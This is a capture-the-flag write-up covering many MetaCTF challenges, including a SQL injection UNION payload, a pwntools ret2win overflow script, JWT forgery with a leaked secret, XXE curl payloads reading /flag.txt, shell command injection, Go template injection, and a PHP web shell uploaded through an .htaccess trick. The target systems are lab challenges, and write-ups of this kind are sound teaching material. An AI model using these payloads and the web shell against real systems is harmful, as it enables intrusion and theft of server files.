Obfuscated Secrets

In the script, there is an encrypted string with formula to check the input string of user
So that I can reverse the encrypted string by using loop and 1 line code

```
for i in range(len(encrypted)):
        print(chr(ord(encrypted[i]) + i + 1), end='')
```

The flag will be print in the console

26 Dimension

Fortunately, I use Notepad to open file and use `find` (F3), type CTF and I find the flag easily

Second Breakfast

In the Python script, these line can be attack by SQL Injection:

```
query = f"SELECT username, created_at FROM users WHERE
username='{username}'" cursor.execute(query) user = cursor.fetchone()
```

So I use:

```
' UNION select flag, CURRENT_TIMESTAMP from flags where '1'='1'
```

Because in folder `init.sql` I find :

```
CREATE TABLE flags (

    flag TEXT

);
```

Fliesystem_follly

Provided file have `.pcap` so I use Wireshark to see all in this file
Pay high attention to No 104, 106 and especial 111
In No 111, open File Network System at the left corner, at tab `Opcode` of `Operation`, click `content`

At here, we can see detail about content of a `.png` , this is flag what I need $\Longrightarrow$ Copy all hex dump into `flag_raw.hex` to save the information about the flag
Now I want to change form `.hex` to `.png` but Windows not support that so I use WSL
Use these command and I have the flag:

```
wsl #open WSL
cd ... # where I save flag_raw.hex
xxd -r -p flag_raw.hex > flag.png # convert .hex to .png
```

Open flag.png and the flag will prensent

Obnoxious Offset

`kpartx` use for scan partitions from a disk image file $\rightarrow$ Map partitions into "real" devices
`fdisk` present and edit table partition on device $\rightarrow$ analyse table partition
At first use:

```
fdisk -l obnoxious.img
```

This command present infomation about table partition (type, partitions, ID)
We will see like that:

```
Disk obnoxious.img: 4 MiB, 4194304 bytes, 8192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xda345630

Device         Boot Start   End Sectors Size Id Type
obnoxious.img1          1  4097    4097   2M 83 Linux
obnoxious.img2       4098  8191    4094   2M 83 Linux
```

Since the flag is on the second partition, I use these command:

```
sudo kpartx -av obnoxious.img
```

`kpart` : is a tool make partition mapping
`-av` : add partition from file `obnovious.img` and print detail when implement
After that, make a directory to save the files, folder from partition `obnovious.img2` and mount it into directory:

```
sudo mkdir -p /mnt/obnovious
sudo mount /dev/mapper/loop0p2 /mnt/obnovious
```

Then I see:

```
total 16
drwxr-xr-x 4 root root 4096 Apr 26  2024 .
drwxr-xr-x 8 root root 4096 Jun 30 16:15 ..
drwxr-xr-x 3 root root 4096 Apr 26  2024 M
drwxr-xr-x 3 root root 4096 Apr 26  2024 T
```

With my experience, I think the flag is hidden by folder structure, so I use `tab` and `ls -la /mnt/obnovious/M`
At last I have:

```
ls -la /mnt/obnoxious/M/e/t/a/C/T/F/\
{/i/t/s/_/a/_/p/a/r/t/1/t/i/0/n/_/t/4/b/l/3/_/p/4/r/t/y/\}/
```

So the flag is: `MetaCTF{its_a_part1ti0n_t4bl3_p4rty}`

Spider's Curse

Use `ltrace` on WSL
Step 1: Type `ltrace ./tomb` to see what happen when run provided file
Step 2: Programme require a secret password → this can be the flag → type anything for test
Step 3: See a comparision: `strcmp("61", "4d6574614354467b68337833645f3572"...)` → programme compare input with a hex string
Step 4: Decode this `4d6574614354467b68337833645f3572` I have `MetaCTF{h3x3d_5r` → part of flag
Step 5: Because I have only part of flag so I need find full hex string to have all flag → use `strings tomb | grep 4d6574614354467b68337833645f3572`
Step 6: Get `4d6574614354467b68337833645f3572316e67735f3472655f6e305f6d347463685f6630725f6d337d`
Step 7: Decode full hex string `MetaCTF{h3x3d_5r1ngs_4re_n0_m4tch_f0r_m3}`

Admin Portal

At the `Application` tab see the `value` column I see a value `user` corresponding to `role`
So that I easily change from `user` to `admin` and reload the web
The flag appear: `MetaCTF{co0ki3_p0wer3d_p0rt4l}`

Christmas Tree

When I use `generate` and height `5` I see a string `6(7(7(1(1)(5))(5(3)(2)))(1(4(1)(2))(2(2)(3))))(7(3(6(7)(4))(1(2)(3)))(6(3(1)(3))(7(2)(3))))`
This is tree structure and when I use `display` with that string, a christmas tree apear

At first I use `ltrace` tool for finding something useful but I nothing
I realize that this tree is pushed into a array with the root is 0 index and the left and right follow the fomula: $2i + 1$ and $2i + 2$
This can be a approach because if I have a tree with higher height but few node, the array can be "overflow" because the `buffer` is over.. Detail:

```
High |-------------------|
    |Local Variables    | (Buffer here)
    |-------------------|
    | Saved Frame Pointer|
    |-------------------|
    | Return Address    |
    |-------------------|
    | Function Parameters|
Low |-------------------|

When parse, programme count node and provide to buffer.
When tree have higher height but few node, follow the fomula of index, the
size of provided buffer is less than size of array -> I can access into
Return Address and call 'debug_shell()' -> ret2win

Function 'debug_shell()' always locate at 0x.....369
So I can Partial Overwrite by using: '0()(1()(2()(3(4(()(i))((S)()))(()))))'
'i' = 0x69 and 'S' = 0x53 but in stack, it using little endian so string
'iS' equal to 0x5369
-> When buffer is over, 'iS' overwrite into Return Address -> jumb into
debug_shell
```

Script:

```
from pwn import *
import time
import sys
def connect():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <local|remote> [host] [port]")
        exit(0)
    elif sys.argv[1] == "local":
        return process("./christmas_tree.bin")
    elif sys.argv[1] == "remote":
        return remote(sys.argv[2], sys.argv[3])
c = 1
while True:
    print(f"Attempt {c}")
    p = connect()
    p.sendline(b"display")
    p.sendline(b"0()(1()(2()(3(4(()(i))((S)()))(()))))")
    # Did it work?
    p.sendline(b"uname -a")
    try:
        # Yes!
        p.readuntil(b"Linux")
        p.sendline(b"id")
        p.sendline(b"cat flag.txt")
        p.interactive()
        break
    except:
        # Nope
        print("exploit failed, trying again....")
        p.close()
        c += 1
```

Flag: `MetaCTF{0h_chr1stm4s_tr33_h0w_l0v3ly_4r3_y0ur_br4nch3s}`

Santa's Digital Photo Gallery

This web support only PNG,JPG and GIF so I want to push any image with other and try to access to see what happen but there are nothing. So that this is not a right direction

Read the provided source code carefully at `view.php`, I see a line `echo "<pre class='hidden-content'>" . htmlspecialchars(file_get_contents($imageObj->path))`
When open web, the string `. htmlspecialchars(file_get_contents($imageObj->path))` is replaced by `<?php system('cat /flag.txt'); ?>`
So that, access to `flag.txt`, I get the flag
Flag: `MetaCTF{ph3ar_d3s3rial1z3d_0bj3cts}`

Key For Me

Condition for checking:

```
def check_key(key):
    if len(key) != 8 or ord(key[0]) % 5 != 3 or ord(key[1]) % 4 != 2 or not
key[2].isdigit() or not key[3].islower() or not ord(key[4]) <= ord(key[3]) +
5 or not key[5].isdigit() or int(key[5]) <= int(key[2]) + 2 or not
key[6].islower() or ord(key[6]) >= ord(key[3]) - 3 or not key[7].isupper()
or ord(key[7]) >= ord(key[4]) - 4:

        return False

    return True
```

Analyze a bit:

```
len(key) != 8 #Length of key is 8 character

or ord(key[0]) % 5 != 3 # First character: ASCII value % 5 == 3

or ord(key[1]) % 4 != 2 # Second character: ASCII % 4 == 2

or not key[2].isdigit # Third character is a number

or not key[3].islower() # 4th character is lower

or not ord(key[4]) <= ord(key[3]) + 5 # 5th ASCII value <= 4th ASCII value +
5

or not key[5].isdigit() # 6th character is a number

or int(key[5]) <= int(key[2]) + 2 # 6th character is a number <= 3th
character + 2

or not key[6].islower() # 7th character is lower

or ord(key[6]) >= ord(key[3]) - 3 # 7th character ASCII value >= 4th
character ASCII - 3

or not key[7].isupper() # 8th character is upper

or ord(key[7]) >= ord(key[4]) - 4 # 8th character ASCII value >= 5th
character ASCII value - 4
```

From that, I have a string that satisfiable: `lb1eh4aA`
After that, connect to provided server and put the string
Flag: `MetaCTF{wh0_n33ds_l0ckp1ck5_wh3n_y0u_own_th3_k3y_f4ct0y}`

Where We LMPing

This CTF have to use `nc kubenode.mctf.io 30006` because if only download provided file, it not have flag
We need to jump into a address so I think using `nm` most suitable because it can present structure of excecutable file
At first, `nm where_we_jmping` to see what it contains and I see here:

```
0000000000403df8 d _DYNAMIC
0000000000403fe8 d _GLOBAL_OFFSET_TABLE_
0000000000402000 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
00000000004020e8 r __GNU_EH_FRAME_HDR
0000000000404058 D __TMC_END__
0000000000404060 B __bss_start
0000000000404048 D __data_start
0000000000404050 D __dso_handle
                 w __gmon_start__
                 U __isoc99_scanf@GLIBC_2.7
                 U __libc_start_main@GLIBC_2.34
                 U __stack_chk_fail@GLIBC_2.4
00000000004010f0 T _dl_relocate_static_pie
0000000000404058 D _edata
0000000000404080 B _end
00000000004012fc T _fini
0000000000401000 T _init
00000000004010c0 T _start
0000000000404048 W data_start
                 U fclose@GLIBC_2.2.5
                 U fgetc@GLIBC_2.2.5
                 U fopen@GLIBC_2.2.5
0000000000401222 T landing_pad
0000000000401238 T main
                 U printf@GLIBC_2.2.5
                 U putchar@GLIBC_2.2.5
                 U puts@GLIBC_2.2.5
                 U setbuf@GLIBC_2.2.5
0000000000404070 B stdin@GLIBC_2.2.5
```

```
0000000000404060 B stdout@GLIBC_2.2.5
00000000004011a6 T win
```

Exept the upper string and something like "end", "main",.... I see an address `0x4011a6` that have stranger named `win`
After that, I connect to provided server and type the address of this and have the flag
Flag: `MetaCTF{jmp1ng_t0_th3_g00d_l00t}`

Canary in Bitcoin Mine

See the source code, `mineshaft` only have 64 bytes and question required me to "save" the bird
When I connect to provided server, I see:

```
Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's
guarded by our trusty canary!

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

Place some characters into the mine:
```

So that I think I have to use `buffer overflow` and exactly do not change the BIRD bytes
Use this string:
`mduwccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccBIRDmmmmmmm`
It is exactly save the BIRD and over 64 bytes
After that, flag appear:

```
Canary is alive.
Well done, you've earned the flag!
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}
```

Traceding Places

When use guest account, there is only an chart appear. See carefully at Application tab, I see a `jwt` and at source code I see:

```
const token = new TextEncoder().encode(response.headers.get("jwt"));
const jwt = await new SignJWT({ sub: user })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("2h")
  .sign(token); // <-- This line sign the JWT!
document.cookie = "jwt=" + jwt;
```

This code reveal that I can fake the `jwt` and login with admin version
JWT:
`eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImlhdCI6MTc1MTk2NzM5MiwiZXhwIjoxNzUxOTc0NTkyfQ.aWsf9c-r3NDb53hN5tbcrR5pyC4btQLAwYLzKRnpSaY`
I use `jwt.io` to decode this JWT and have it content:

```
{
  "alg": "HS256" #this is header
}

{
  "sub": "guest",
  "iat": 1751967392,   #this is payload
  "exp": 1751974592
}
```

Additionally, via the code, I see that web server provide the client `secret key` and client sign the JWT by themself → client can do anything with JWT
So that, at the Network tab, I can take the secret key at request `login`.
Secret key: `jwt_z3bXPravDcYhjy5mhYgYLbWRoAPkPyn`
Continue use `jwt.io` I can change the content of JWT like:

```
{
  "alg": "HS256"   # header
}

{
  "sub": "admin",
  "iat": 1751967392,   # payload
  "exp": 1751974592
}

jwt_z3bXPravDcYhjy5mhYgYLbWRoAPkPyn # secret key
```

```
New JWT:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc1MTk2NzM5MiwiZXhwIjoxNzU
xOTc0NTkyfQ.kmVASMvEHtTHS5OevAI7gXyogmtsVBbXPPlg3eUdiPY
```

Paste into `DevTools` and `F5`, get flag
Flag: `MetaCTF{cli3nt_s1d3_crypt0graph1c5}

Better_eval()

Blocked strings:

```
blocked_terms = ["flag", "+", "import", "os", "eval", "exec"]
```

But question require me have to read `flag.txt` so I think I can convert from `flag.txt` form to other form by python code
Using: `open(''.join(map(chr, [102,108,97,103,46,116,120,116]))).read()` because:

```
f = 102
l = 108
a = 97
g = 103
. = 46
t = 116
x = 120
```

Flag: `MetaCTF{f1l73rs_d0_n0t_s3cur3_u}`

Metashop

Open the web, I see a JWT so I think this question require player exploit security vulnerabilities related to JWT such as secret key which sign the JWT is exposed. So that I login and buy but I do not see anything about secret key but I see a line `set-cookies` it set a new cookies for each phase

Read the source code carefully, I realize that this web do not save the balance for each time I buy because:

```
#This is return.erb file which use for return the request buy of user

<% @title = "Profile" %>

<h2>Your Profile</h2>
```

```
<p>Balance: $<%= @balance %></p>   # <--- This line is problem

<h3>Your Quotes:</h3>

<ul class="list-group">

  <% @quotes.each_with_index do |quote, index| %>

    <li class="list-group-item">

      <%= quote[:Product] %>

      <form method="POST" action="/return" class="float-end">

        <input type="hidden" name="product_index" value="<%= index %>">

        <button class="btn btn-sm btn-warning" type="submit">Return</button>

      </form>

    </li>

  <% end %>

</ul>
```

For sure, I use `jwt.io` for check the detail of JWT and I have this:

```
{
  "alg": "HS256" # the algorithm which use for encode
}

{
  "email": "nmd@nmd", # usernmae
  "balance": 100    # IMPORTANT, this is balance
}
```

From that, I think if I save the cookies which I have high balance first, buy all which I can and after that I go to `Profile` page, paste the cookies which have high balance, reload the web and return all things I bought before I will have: previous balance + value of all I bought
If I do it several times (about 4-5 times) I will have 1000 balance and can buy the `flag`

After buy `flag` go to `Profile` page and get the flag
Flag: `MetaCTF{C00k13s_4r3_4_B4d_Pl4c3_T0_5t0r3_D4t4}`

Lost Luggage

Unzip the provided file but it require a password to unzip with 4 digit → brute force from 0000 to 9999 to get password with using Python:

```
import zipfile



def brute_force_zip_4digit(zip_path):

    with zipfile.ZipFile(zip_path) as zf:

        for i in range(10000):  # từ 0000 đến 9999

            password = f"{i:04d}"  # đảm bảo đủ 4 chữ số (ví dụ: 0001)

            try:

                zf.extractall(pwd=password.encode())

                print(f"[✓] Mật khẩu tìm được: {password}")

                return

            except RuntimeError:

                pass

    print("[-] Không tìm được mật khẩu 4 số.")

brute_force_zip_4digit("luggage.zip")
```

However, when run this programme it error so I think this have problem
When I open `luggage.zip` by `Window Explorer` I see a `flag.txt` then I right click and choose `Properties` I see `CRC-32: F38C1C63`
So I think when I use `zipfile` library it can not support for me to crack the password because it not support for AES encryption which used in many modern application/tools
Therefore, I search for install `pyzipper` and have new code:

```
import pyzipper



def brute_force_zip_4digit(zip_path):

    with pyzipper.AESZipFile(zip_path) as zf:

        for i in range(10000):

            password = f"{i:04d}" #4 digit

            try:

                zf.pwd = password.encode()

                zf.extractall()

                print(f"[√] Password: {password}")

                return

            except:

                pass

    print("[-] cannot find")
brute_force_zip_4digit("luggage.zip")
```

Password: `7123`
Flag: `MetaCTF{w0w_stup1d35t_c0mbin4t10n_1v3_he4rd_in_my_l1f3}`

Satellite Command

Use `ltrace` and `strings` see that command `scan` using `ls` and combine with input of user:

```
z
```

However, this shell block user use these character and command: /, cat, ls, cd,....
Search command which can replace cat, I find: xxd (using for hex), awk, sed
First, I using sed but "/" is also blocked so I think I can replace "/" to ";". This like in

programme C or C++
So the last command:

```
scan systems; sed p flag.txt

#Key:
scan: provided command in shell
systems: directory in shell (check all and I find this have flag.txt)
sed: command use for line by line text
p: print
```

Result:

```
[DEBUG] Executing command: ls -l ./satellite/systems; sed -n p flag.txt
2>/dev/null
[SCANNING]: systems; sed -n p flag.txt
total 8
-rwxr-xr-x    1 nobody   nobody          18 Jun 26 21:38 power.dat
-rwxr-xr-x    1 nobody   nobody         157 Jun 26 21:38 system.log
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
```

Flag: `MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}`

Simple sums

This calculator using `int` 32bit and need 2 number from user input from 0 to INT_MAX
It need the sum of `a+b = -1337`
$\Longrightarrow$ Using `Interger Overflow`
`32bit = 2^32 = 4294967296` values
Addtionally interger range: `-2,147,483,648 → +2,147,483,647`
$\Longrightarrow$ If the sum `a+b` > `2147483647` it turn to be a negative number
At first, calculate the number in unsigned form of `-1337`:

$$unsigned = 2^{32} - 1337 = 4294965959$$

So `4294965959` is the sum what I need
$\Longrightarrow$ `Find a and b: a+b = 4294965959`
$\Longrightarrow$

```
a = 2147483000
b = 2147482959
```

`Flag: MetaCTF{c0unting_beyond_infinity}`

Dot-Matrix Destructions

Open `Application`, at `cookies` I do not find anything $\Longrightarrow$ not relate to JWT, cookies vunerabilities
Open the `app.js` I see:

```
    const submit = `
    <query>
        <search>${search_str}</search>
        <country>${country}</country>
    </query>
    `;

    fetch("/api/search_printers", {
        method: "POST",
        body: submit
    })
```

This code reveeal that webpage use XML and submit it via `fetch...`
Open `Network`, at Name: `search_printers` when send request to find a printer I have:

```
<products>
  <product id="7717" name="XXD-51 HiSpeed" price="$              350.00"/>
  <product id="1877" name="XXD-52 HiSpeed" price="$              355.00"/>
  <product id="3936" name="XXD-52 with JSON Support" price="$
500.00"/>
</products>
```

This reponse reveal that I can take advantage of XXE (XML External Entity) for read or print the `flag.txt`. Additionally, I find `flag.txt` in the `Source` but it not here so I think it locate at server. This make me for sure
Using `curl` to send payload to the web for getting the flag
At first I using this payload:

```
curl -i -X POST http://xar2vz4q.chals.mctf.io/api/search_printers \
     -H "Content-Type: application/xml" \
     --data-binary @xxe.xml



######## this is xxe.xml's content:
```

```
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<query>
  <search>&xxe;</search>
  <country>US</country>
</query>
```

But the result is:

```
HTTP/1.1 200 OK
Date: Mon, 14 Jul 2025 09:57:07 GMT
Content-Type: text/xml; charset=utf-8
Content-Length: 12
Connection: keep-alive

<products/>
```

So I search Google, ChatGPT for why it not print the flag and answer is the `XML parser` of this web is block this type of payload
To bypass this (not use `text/xml` and replace by `text/plain`):

```
curl -X POST http://xar2vz4q.chals.mctf.io/api/search_printers \
  -H 'Content-Type: text/plain' \
  --data-raw $'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<query><search></search><country>&xxe;</country></query>'
```

And the result is:

```
<error>The country code MetaCTF{y3ah_xxe_d0e5_r0ck_d0esnt_it?}
 is not a recognized country code.</error>
```

Rear Hatch

At the source code I see that:

```
#define MAX_REQUESTS 100

#define MAX_DESC_LENGTH 256
```

```
#define DATA_FILE "/tmp/requests.dat"



typedef struct {

    int id;

    char description[MAX_DESC_LENGTH];

    int isCompleted;

} MaintenanceRequest;
```

So I think the solution is overflow the `description` but when I put more than 256 into it, there nothing

After that, I find a serious backdoor at this code which use for mark the request from "Pending" to "Complete":

```
void markRequestCompleted() {
    int id;
    printf("Enter the ID of the request to mark as completed: ");
    scanf("%d", &id);
    for (int i = 0; i < requestCount; i++) {
        if (requests[i].id == id && (strncmp((char
*)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char
*)requests+i*264+9),1:1)) {
            requests[i].isCompleted = 1;
            saveRequests();
            printf("Request marked as completed.\n");
            return;
        }
    }
    printf("Request with ID %d not found.\n", id);
    return;
}
```

The condition have `\x65\x78\x65\x63\x3a` == `exec:` which use to compare with the 5 first character of input description. Additionally, it also call `system` so I think I can take advantage of this to find the flag

I think the flag is placed at `requests.dat` and I can use `strings` to print the flag:

- connect to the provided sever
- after that, input "1" for add a requests
- then input: exec: strings /tmp/requests.dat
- But command "strings" is not founded
- Do this similar with using "cat" but I not get the flag
  → No `flag in requests.dat`

So I think it can be located in `/tmp` or current folder
Use similar step to use `ls` with `/tmp` but only have `requests.dat`
→ Flag is located in current folder
→ Similar step I find a `flag.txt` and `cat` it
Flag: `MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}`

Library

The question told that: Some of the book titles seem to be giving unexpected results.
→ There are some problems relate to content of books

See in the source code, I find a problem with `bookHandler` function:

```
func bookHandler(w http.ResponseWriter, r *http.Request) {
    userBook := r.URL.Query().Get("book")
    bookContent, validBook := books[userBook]
    if validBook {
        tmpl := template.Must(template.ParseFiles("templates/book.html"))
        tmpl.Execute(w, bookContent)
        return
    }
    if userBook != "" {
        tmpl, err := template.New("book").Parse(userBook)
        if err != nil {
            http.Error(w, "Template parsing error: "+err.Error(),
http.StatusInternalServerError)
            return
        }
        tmpl.Execute(w, ReadBook{})
        return
    }
    http.Error(w, "No book specified", http.StatusBadRequest)
}
```

The condition `if userBook != ""` mean: when user put something into template, it can be parsed and executed

See deeper into this block code, problem more and more clear at this line: `tmpl, err := template.New("book").Parse(userBook)`

Variable `userBook` is input of user and it will be executed by: `tmpl.Execute(w, ReadBook{})`

Additionally, this function will read the input of user and cause vulnerability:

```
func (rb ReadBook) ReadBook(filePath string) string {
    content, err := os.ReadFile(filePath)
    if err != nil {
        return "Error reading file: " + err.Error()
    }
    return string(content)
}
```

Combine 2 factors, I can sure that if I put: `e6dfd7f3.chals.mctf.io/books?book={{.ReadBook "flag.txt"}}` I can get the flag.txt

Flag: `MetaCTF{S3rv3r_S1d3_T3mpl4t3_1nj3ct10n_1n_G0l$nG!!}`
This called as: `SSTI - Server-Side Template Injection`

Xylophone Network Graphic

The provided image used `an 8-character-long key that was repeated.` to encrypt
→ I used `xxd encrypted.xpng` (or `hexedit encrypted.xpng`) to see data in the image
At the 8 bytes header:

```
#Provided : fe 3f 3c 23 52 6b 68 7e
#PNG : 89 50 4e 47 0d 0a 1a 0a
```

→ The key which can encrypt header of PNG file to provided file was the key I need to decrypted all the image
And the most suspicious is XOR
→ Use a simple Python script (or use paper draft):

```
png_header = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A")

custom_header = bytes.fromhex("FE 3F 3C 23 52 6B 68 7E")

xor_result = bytes([a ^ b for a, b in zip(png_header, custom_header)])
```

```
print("XOR Result (Hex):", xor_result.hex())

print("XOR Result (Decimal):", list(xor_result))

ascii_result = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in
xor_result)
print("XOR Result (ASCII):", ascii_result)
```

$\Longrightarrow$ Key: `77 6F 72 64 5F 61 72 74` $\approx$ `word_art` $\Longrightarrow$ More sure about this key
Use this key to decrypt all the image:

```
def xor_with_key(data: bytes, key: bytes) -> bytes:
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
xor_key = b'word_art'  # hoặc bytes.fromhex("77 6F 72 64 5F 61 72 74")
with open('encrypted.xpng', 'rb') as f:
    original_data = f.read()
xor_result = xor_with_key(original_data, xor_key)
with open('encrypted.png', 'wb') as f:
    f.write(xor_result)
```

Open the `encrypted.png` and flag is shown in this image
Flag: `MetaCTF{kn0wn_pl4int3xt_d3cryption}`

Open Application

This web provided a form that I could uploaded my files. Test several files, I found that only `php` files was banned and all other files was saved at `uploads` directory
However, when I accessed to `uploads` directory, I found this folder was limitted for users:

```
# Forbidden


You don't have permission to access this resource.


---


Apache/2.4.54 (Debian) Server at rjao9579.chals.mctf.io Port 80
```

This return revealed that the web used `Apache` and I had to find a way to access into `uploads` or fun/print something related to flag

At first I thought I could use RCE to use some commands: `ls, cat, ....`:

```
<html>
<body>
<form method="GET">
<input type="text" name="command" autofocus size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if (isset($_GET['command'])) {
    system($_GET['command'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
```

Althought it worked but it didnt return anything and I found that the `php` part in this code was replaced by:

```
<--!?php
if (isset($_GET['command'])) {
    system($_GET['command'] . ' 2>&1');
}
?-->
```

It made this part became a comment not a "command"

So I thought I needed to approach from other way and I found that I could define how server parsed the uploaded files with `.htaccess`:

```
AddType application/x-httpd-php .html
```

This defined that a `html` file was parsed like a `php` file
`AddType` : attach a `MIME` type to an extension
`application/x-httpd-php .html`: define how server parse a html file
After that, I pushed `html` file:

```
<?php system($_GET['<at here type "cmd">']); ?>

#Because if type "cmd" in this write up, Windows will detect this like a malware or vulnerability and delete it
```

And I accessed to this file:

```
http://l0vmoh7u.chals.mctf.io/uploads/shell.html?cmd=cat+/flag.txt
```

This way didnt suitable when `AllowOverride None` or server banned `.htaccess`